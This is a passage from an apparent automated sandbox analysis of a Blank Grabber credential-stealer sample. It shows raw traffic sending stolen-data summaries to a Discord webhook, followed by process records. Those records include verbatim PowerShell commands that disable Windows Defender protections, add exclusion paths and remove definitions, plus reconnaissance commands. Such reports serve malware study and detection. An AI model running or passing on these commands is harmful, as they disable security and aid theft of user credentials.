53 c4 53 cc f2 3a 64 64 3e ad 64 1c 22 b9 e0 fb 01 ba 2b cd 2c 98 2c 53 65 f9 5d 71 b1 f7 59 25 86 6b 11 9d e1 fc 09 21 f0 3b Data Ascii: nF'(MK-EZ<iJR}%A "h][`_Y\G0}8%h'z9,#Ae`FV\|v8{&anw28}4D-XlFB"G<e!>7[*3QwvQ#9nivWSS:dd>d"+,,Se]qY%k!;
2023-09-15 20:16:20 UTC	704	OUT	Data Raw: 54 50 ca 77 e4 15 24 74 ba 5c 9e 4b e3 d1 10 0a 3d 0a c5 31 9f e2 cf 92 c3 07 09 b1 71 45 06 36 59 c0 67 1c 65 55 79 79 74 e4 c0 02 09 bd 79 4f f8 be 65 6a f3 b3 00 c8 67 ca 5d 79 d0 0b 6b 53 b2 81 73 ef 56 c1 7b db f2 01 15 b0 8b fd 8a 59 bf c4 ee d6 ec 2a 5f c3 25 39 1a 5a 3f b8 1c 31 99 c3 00 a4 5a 4a 77 46 fe 9e 99 e1 0f 15 73 67 d8 65 b1 2d d2 88 07 0d 19 74 dc 93 c7 09 0a 63 e1 a2 9e 49 47 5e 0c ee 8e ed 82 c9 63 2a d8 24 a0 3c 17 62 4d fb b5 1a f0 de 65 d8 38 a4 5c 46 14 3c c2 5e 1a d8 bf dd 61 a2 76 37 79 38 11 b2 bb dc 9e ac 08 f2 c6 03 64 32 f5 0f 01 4a 4b 3f 62 d9 7b 71 c7 11 f9 c9 c4 66 66 43 d0 d1 28 48 fa 0c 0c 2b 50 a8 dd de 1d e8 62 fb a4 5f 4e c7 fa ec bb d5 42 b7 ad c3 ad 5b 83 47 ba cc d1 b0 e4 7b d1 ba 9f b7 61 af c2 95 e2 14 bd 16 cf Data Ascii: TPw$t\K=1qE6YgeUyytyOejg]ykSsV{Y_%9Z?1ZJwFsge-tcIG^c$<bMe8\F<^av7y8d2JK?b{qffC(H+Pb_NB[G{a
2023-09-15 20:16:20 UTC	720	OUT	Data Raw: db 36 95 76 8b c6 56 ee 6a e7 eb 12 52 af 4c b0 48 23 5b ec 53 bd b4 6a 6c 0b 48 0e d8 0d 5e d7 f7 99 40 41 d8 bf 6a 0a 6b a4 90 6f 3a 18 4c 57 23 39 42 68 d5 b3 b2 41 aa c1 4b 85 83 15 e4 b2 d9 e0 ac 35 4f 86 c8 a1 83 31 b1 da eb ed db f9 93 98 3f 76 cf 44 3d 7d 67 8c 98 08 70 50 6c 56 53 95 8e 26 f0 da c8 ef 1d 87 d1 68 a4 81 67 15 86 60 76 a4 2d 66 f4 ef 75 87 67 13 af cd ad 77 01 cf 5e 54 23 ea 53 d5 f8 ca ed 9a ac ad 51 81 15 62 1a 97 d6 bd 88 75 e1 2b af 8c 2b c3 14 42 4a 52 95 c5 1f bc 77 46 38 e2 6f 23 e6 a0 53 f0 ed a2 3b 69 f2 23 6e fa 41 3e 99 22 30 9e db 82 25 b5 97 06 a1 aa 32 88 06 fb e3 3f 12 7d dd 75 55 e1 29 61 ee 2a de a6 31 20 1b 54 6a 8f e2 49 45 0a 10 cf c5 e4 73 a7 40 4d e8 6b bf 07 59 e3 72 24 b2 d6 bf 82 72 81 b2 7e 7f fa 51 ce 3f Data Ascii: 6vVjRLH#[SjlH^@Ajko:LW#9BhAK5O1?vD=}gpPlVS&hg`v-fugw^T#SQbu++BJRwF8o#S;i#nA>"0%2?}uU)a*1 TjIEs@MkYr$r~Q?
2023-09-15 20:16:20 UTC	736	OUT	Data Raw: fe 7f c4 d2 70 d5 f6 a7 52 d6 43 ef 3c b6 66 3b a5 6f 7e 5d ec d1 cb 8e 89 30 fd b7 98 a4 55 f0 03 d4 83 d6 66 cf ed 96 c6 e8 70 d1 30 8f 82 76 cb b7 37 11 0f 88 07 4a e9 ff 55 ed 60 a9 8f 4e 60 00 de 42 05 76 1e 79 82 a6 1f 53 1a 07 93 b0 5e e8 04 be 30 f3 67 75 01 db e4 8a 05 64 53 07 c9 c0 22 e3 f8 9b 28 2b f7 19 97 b1 6e 7a c8 98 ed 46 d5 3a 8c 9a 43 b8 b6 fd 5a 03 58 a3 0d 18 6f c0 44 1f 52 10 24 94 da 52 74 22 1d e4 c6 1d eb e8 2f 5b 83 ad 6e 0a c7 5b ec 8b a8 21 72 35 5a 43 0e 9c 26 22 8b ad e3 7d 7e 59 1d 24 a3 87 40 3b 73 18 48 e7 08 06 6d 4c c8 74 67 5c 8a 47 12 68 7e 07 51 53 97 49 aa 17 4c d4 1a fb 00 e2 60 df 29 61 76 ba cd 79 e8 ef 6a 70 b0 65 b0 82 31 e3 58 d1 4f f5 58 8a e0 4f be fd 48 d6 37 f0 83 ab 7b 27 77 b8 3a 28 16 db 90 c7 a3 08 ba Data Ascii: pRC<f;o~]0Ufp0v7JU`N`BvyS^0gudS"(+nzF:CZXoDR$Rt"/[n[!r5ZC&"}~Y$@;sHmLtg\Gh~QSIL`)avyjpe1XOXOH7{'w:(
2023-09-15 20:16:20 UTC	752	OUT	Data Raw: d3 ec b2 f5 6e 4c 1d dc 52 cb 86 21 50 bd 49 f7 36 77 c6 e6 85 94 44 56 19 ee ee a3 1d 3f 4c fd 48 9b 77 46 47 b1 98 18 b8 e5 20 61 1d 58 5f ab 9d 9e c7 32 3c ea 87 5f ef 6e 1c 9e 8b 54 26 3c 1d 89 7b 1c 53 df f8 da 78 16 8e 1a 3a b6 2e 60 2c 90 2a 91 c1 2a af b4 dd 41 61 a0 16 87 3c 66 bc 2f 88 6c f4 b2 61 b0 3e e7 76 08 92 a3 cb 08 a8 1b fc ef df 06 32 94 55 ac 31 24 e4 69 3a ba a3 ae 7d bb 14 06 c1 69 86 24 9a 06 82 5b 01 a7 93 9c 43 85 92 ad bb 7a de 70 a9 87 25 b7 a8 8b ff 53 8d 75 e3 34 e1 e9 37 2a 73 d7 14 4b c3 13 7a d5 56 d6 91 07 f0 55 7a e0 9f 62 75 d3 fd d0 5f d2 c9 ef 3d 42 70 ea b3 d8 ad 70 c5 ce 5c 34 d5 61 5a e9 e4 b6 72 37 67 55 ba 5c 2d 5e 1f ce 34 1d b3 f9 5f 69 74 9a c2 30 32 2f 12 d6 bf e5 8d 73 5d 68 5d 50 51 49 42 ff 3b 4c 3d 19 0d Data Ascii: nLR!PI6wDV?LHwFG aX_2<_nT&<{Sx:.`,*Aa<f/la>v2U1$i:}i$[Czp%Su47sKzVUzbu_=Bpp\4aZr7gU\-^4_it02/s]h]PQIB;L=
2023-09-15 20:16:20 UTC	768	OUT	Data Raw: 13 c1 ef dc 94 06 fd 40 ae 07 ba 0a bc ce 67 0e a5 a2 9e 15 12 b4 24 f5 39 9c d0 a8 5f 2b 64 ad 4d ae af 47 f7 18 90 7a b8 43 9e 7c 7f 3d 83 be 89 18 90 19 81 53 8a c6 ee af f0 cd 6b 51 fa 7e e9 b4 3a 4e ac 61 9b b6 ef 5b 9a 6b b0 1b 57 dc 50 d5 30 35 e7 89 03 16 66 eb c3 79 f9 c6 7a 00 82 6d df 3b c5 64 bc db 80 ab 44 36 3b cc e7 cd 67 ca cb eb 3c c0 82 72 5b 05 38 51 e0 56 38 51 60 3e b1 39 0b 61 ed 63 f1 18 99 9e 41 b9 d3 38 a7 e6 9c 63 c6 07 4d 55 e5 44 4e 8f 46 c0 51 89 7e 11 85 b0 80 a5 c1 5a de 5c 3b a5 d7 91 e8 9a 44 cd 62 cc e2 37 b1 19 32 8c e5 e6 64 b7 46 a5 d2 53 7c 64 be 8b 61 7d 21 83 59 8d cc 28 f1 fd f4 0b bd ed 7d b2 03 01 b7 e2 32 87 41 39 ca 80 05 b5 36 23 8d 90 ec 50 87 32 ce 9a 10 16 38 db 02 bc 5d 55 33 58 2e 29 0b 6e 26 e6 ec 04 d5 Data Ascii: @g$9_+dMGzC\|=SkQ~:Na[kWP05fyzm;dD6;g<r[8QV8Q`>9acA8cMUDNFQ~Z\;Db72dFS\|da}!Y(}2A96#P28]U3X.)n&
2023-09-15 20:16:20 UTC	784	OUT	Data Raw: e5 b5 bd db 35 a3 63 9c 13 61 58 92 ae 74 61 d4 1a 8e 71 00 b9 01 e3 34 30 bb e3 87 90 00 10 fd 34 df 50 1f 19 86 b0 56 b9 8b ad 31 70 a0 54 16 65 40 98 8a ac 3e 19 bf 49 87 34 e2 96 68 7c 28 68 fd 1a be 3c 8f 91 8d 62 4a 27 90 1d 0e 52 76 72 90 7b e6 28 88 22 a2 38 5b 2b a5 e6 e3 88 fc 97 89 5d 8d f5 97 d9 6f b5 dc 94 70 75 03 06 d8 53 68 a1 26 67 aa f2 9d d7 fe df 55 39 09 f0 43 9e 8d 0e 6a ee 3c 05 cb 47 55 ba 91 0a 83 29 7d fe 6e 5f cc 3e 78 da 84 86 7b 93 bf 4d 66 f1 95 a0 27 5e 46 44 46 3e 83 78 a0 c2 68 a9 3f 73 b8 24 a6 e5 30 f4 86 97 93 58 5c b9 74 62 7e e4 e4 d3 a8 2b a9 c0 35 03 5a 5f 2f 99 cc 56 aa 07 97 46 46 a1 33 b8 2b a9 71 6f df ea 30 e1 16 fc 4c 0a c7 e9 58 2b 79 22 11 9c c4 ec bb db c3 cf de ff 13 ac 6a c8 5d 7e 70 52 9c d0 93 04 78 9f Data Ascii: 5caXtaq404PV1pTe@>I4h\|(h<bJ'Rvr{("8[+]opuSh&gU9Cj<GU)}n_>x{Mf'^FDF>xh?s$0X\tb~+5Z_/VFF3+qo0LX+y"j]~pRx
2023-09-15 20:16:20 UTC	800	OUT	Data Raw: 38 8c 84 51 81 9d e3 24 84 b3 95 37 a8 9b 17 d8 ec 4c e9 8a d6 0a 8c 50 5d 04 5d d2 e2 93 6d 6b 47 8d 61 c5 c1 7b ff 39 40 14 e4 77 00 e7 0a 2c 83 5f 72 80 ee 5e 0c 26 e2 5d aa e2 e7 48 c3 68 76 0d a5 3b a4 7b 3a 47 13 1b 2b 32 97 c4 94 db 62 2b 2e 4c cf 0e 54 b7 8b 12 4e ef 29 6f c1 fe af fc 66 c0 77 37 1f 76 ad a0 a7 e9 89 e0 c0 59 1e 9b 59 e0 01 c4 15 39 92 b3 5f e8 d8 fa b7 9b f4 5d 7e 20 c9 c0 1e a4 41 b3 60 14 3c 01 86 77 d5 53 6e 23 1f 8c bc 59 dc 49 37 95 9a 2d c5 5d f0 13 cd 3e 5e 13 91 19 70 8e 6c ae 30 a9 2c 5d b5 3a 8d 31 d1 db 9d 66 36 05 28 f8 39 24 00 8d 1c 56 f3 21 75 34 0c be 98 92 e4 0a 48 d2 a5 d9 66 f9 df 48 1f 4e a9 96 a7 7c 8a d7 8f f2 52 a0 4b fe 9b ae 3b a3 90 df 7b f9 f9 7f 54 ef 6b 62 ad ba df 73 41 2a fc bc 69 bd 19 5d cb 1c 3d Data Ascii: 8Q$7LP]]mkGa{9@w,_r^&]Hhv;{:G+2b+.LTN)ofw7vYY9_]~ A`<wSn#YI7-]>^pl0,]:1f6(9$V!u4HfHN\|RK;{TkbsA*i]=
2023-09-15 20:16:20 UTC	816	OUT	Data Raw: f4 76 6a 23 20 46 f5 78 23 37 d3 05 5e 59 21 c0 07 2f 87 5c cb 63 9c d3 6a 87 45 6a 6b a8 49 76 dc bf 0f be d2 09 eb 76 64 96 6b c4 fc 80 66 a4 c1 af b1 ea a4 f4 08 56 7f 14 15 f5 6f d4 15 28 89 74 90 28 bd 9d 22 c2 02 4e 4b f9 10 e6 ba 51 98 38 3b bf a2 58 d6 a4 1a a0 60 b1 f3 86 d5 86 42 2b ad 18 74 f6 07 b3 67 6c d8 d4 d7 a6 b6 02 4b 7a ea 62 c3 23 d6 db c7 64 69 10 5f 6d 91 ad 76 65 1a bd 82 5c c2 76 a7 68 8e e1 08 77 1f 7a f5 fe 8f f0 02 69 be 17 8e a4 8d 6a b5 a9 5d c4 3a 65 58 ed a2 5a a9 51 70 e3 6e 74 d6 15 03 a8 81 bb 7e 15 c2 ac ba 84 8a b8 05 63 a0 a5 d0 93 6b 36 55 44 23 f3 8f 92 50 21 06 de 3a 0a 36 57 29 9c 2d f0 9d 35 32 cb 9a 67 2c 22 37 bb e5 2f 4a 25 6c 5a e5 3d e0 4f 86 2a a6 00 e3 02 ad 27 46 d8 20 ad 2a 53 66 0b 21 5c 6a dd 79 56 fb Data Ascii: vj# Fx#7^Y!/\cjEjkIvvdkfVo(t("NKQ8;X`B+tglKzb#di_mve\vhwzij]:eXZQpnt~ck6UD#P!:6W)-52g,"7/J%lZ=O'F Sf!\jyV
2023-09-15 20:16:21 UTC	819	IN	HTTP/1.1 200 OK Date: Fri, 15 Sep 2023 20:16:21 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close set-cookie: __dcfduid=bc633d50540411ee9a38c27f7ba35664; Expires=Wed, 13-Sep-2028 20:16:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1694808982 x-ratelimit-reset-after: 1 Via: 1.1 google Alt-Svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZpXguzwIvcgLV29%2BSR9Y0%2FYvpHE6mRXE6g4yciUl9uIsbAlww%2FVIdzinNacW4jbASef2zdyITW8UiGlTqPJ79cRNZdFa8mfryQREU9lYqBfK7NMmCbLGk145A0wm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __sdcfduid=bc633d50540411ee9a38c27f7ba35664c109257d842e195ebaed0275ef14ee36899ff93df3541f71ce642e6fcb59e134; Expires=Wed, 13-Sep-2028 20:16:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cfruid=bdf8bc33dab33955ba05e6ec71dc8699b1d1bda2-1694808981; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Server: cloudflare
2023-09-15 20:16:21 UTC	820	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 30 37 33 38 62 66 64 65 61 32 36 30 66 38 35 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 80738bfdea260f85-EWR
2023-09-15 20:16:21 UTC	820	IN	Data Raw: 38 39 30 0d 0a 7b 22 69 64 22 3a 22 31 31 35 32 33 33 37 31 32 39 36 34 35 35 35 35 39 31 34 22 2c 22 74 79 70 65 22 3a 30 2c 22 63 6f 6e 74 65 6e 74 22 3a 22 7c 7c 40 65 76 65 72 79 6f 6e 65 7c 7c 22 2c 22 63 68 61 6e 6e 65 6c 5f 69 64 22 3a 22 31 31 32 35 31 32 36 33 39 36 31 30 31 30 32 31 38 37 39 22 2c 22 61 75 74 68 6f 72 22 3a 7b 22 69 64 22 3a 22 31 31 32 35 33 35 37 33 32 39 37 39 38 34 31 38 34 37 32 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 6c 61 6e 6b 20 47 72 61 62 62 65 72 22 2c 22 61 76 61 74 61 72 22 3a 22 32 39 65 30 65 65 63 63 66 34 30 33 65 34 39 61 63 38 38 39 39 30 32 38 63 61 65 31 34 64 30 63 22 2c 22 64 69 73 63 72 69 6d 69 6e 61 74 6f 72 22 3a 22 30 30 30 30 22 2c 22 70 75 62 6c 69 63 5f 66 6c 61 67 73 22 3a 30 2c 22 66 6c 61 Data Ascii: 890{"id":"1152337129645555914","type":0,"content":"\|\|@everyone\|\|","channel_id":"1125126396101021879","author":{"id":"1125357329798418472","username":"Blank Grabber","avatar":"29e0eeccf403e49ac8899028cae14d0c","discriminator":"0000","public_flags":0,"fla
2023-09-15 20:16:21 UTC	821	IN	Data Raw: 66 69 20 50 61 73 73 77 6f 72 64 73 20 3a 20 30 5c 6e 57 65 62 63 61 6d 20 3a 20 30 5c 6e 4d 69 6e 65 63 72 61 66 74 20 53 65 73 73 69 6f 6e 73 20 3a 20 30 5c 6e 45 70 69 63 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 53 74 65 61 6d 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 55 70 6c 61 79 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 47 72 6f 77 74 6f 70 69 61 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 53 63 72 65 65 6e 73 68 6f 74 20 3a 20 59 65 73 5c 6e 53 79 73 74 65 6d 20 49 6e 66 6f 20 3a 20 4e 6f 60 60 60 2a 2a 22 2c 22 63 6f 6c 6f 72 22 3a 33 34 33 30 33 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 42 6c 61 6e 6b 2d 63 2f 42 Data Ascii: fi Passwords : 0\nWebcam : 0\nMinecraft Sessions : 0\nEpic Session : No\nSteam Session : No\nUplay Session : No\nGrowtopia Session : No\nScreenshot : Yes\nSystem Info : No```**","color":34303,"thumbnail":{"url":"https://raw.githubusercontent.com/Blank-c/B
2023-09-15 20:16:21 UTC	822	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:15:54
Start date:	15/09/2023
Path:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
Imagebase:	0x7ff614c70000
File size:	7'380'816 bytes
MD5 hash:	B8E16B93BE678043EC587EC1C759C2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.188703701.0000024133485000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.246634028.0000024133487000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.188703701.0000024133487000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:15:54
Start date:	15/09/2023
Path:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
Imagebase:	0x7ff614c70000
File size:	7'380'816 bytes
MD5 hash:	B8E16B93BE678043EC587EC1C759C2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.244345388.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.244090909.0000014C6DD8D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.244259837.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:15:56
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:15:56
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:15:57
Start date:	15/09/2023
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff667630000
File size:	100'352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:15:58
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:15:58
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:15:58
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Imagebase:	0x7ff720240000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:15:59
Start date:	15/09/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Imagebase:	0x7ff720240000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
